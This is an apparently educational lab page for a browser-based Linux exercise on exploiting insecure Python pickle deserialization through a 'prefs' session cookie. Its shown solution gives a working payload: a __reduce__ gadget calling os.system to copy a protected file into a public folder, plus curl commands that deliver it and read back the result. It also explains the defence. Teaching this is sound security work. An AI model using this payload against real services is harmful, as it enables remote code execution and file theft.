Run code through the prefs cookie

Linux lab Advanced 3 tasks 30 points

The prefs cookie on /app/session is un-pickled on the server. Craft a malicious pickle that runs a command to copy /srv/vt-target/internal/deser.txt into the public uploads folder, then read it back and capture the flag under your home.

How it works: the terminal below is a real Linux machine running in your browser. Click it and type. Tasks tick themselves off as you complete them; questions are answered in the box under each task. Press Reset any time for a fresh machine. Your password on this machine (for sudo) is student.

student@vulntech:~ Starting…
Getting your Linux machine ready…
The first start downloads about 20 MB. After that your browser keeps it, and labs start in a moment.

Solution explanation

Your __reduce__ turned a preferences cookie into command execution the instant the server un-pickled it — deserialization of untrusted data is code execution, not data loading. The defence is to never rebuild objects from client bytes: use JSON for data crossing trust boundaries, keep session state on the server, and sign anything you must hand to the client.

Show solution
cd /home/student
PREFS=$(python3 -c "import os,pickle,base64;print(base64.b64encode(pickle.dumps(type('E',(object,),{'__reduce__':lambda s:(os.system,('cat /srv/vt-target/internal/deser.txt > /srv/vt-target/uploads/loot',))})())).decode())")
curl -s --cookie "prefs=$PREFS" http://127.0.0.1:8080/app/session
curl -s http://127.0.0.1:8080/uploads/loot | tee loot.txt
HOME LABS COMMUNITY DASHBOARD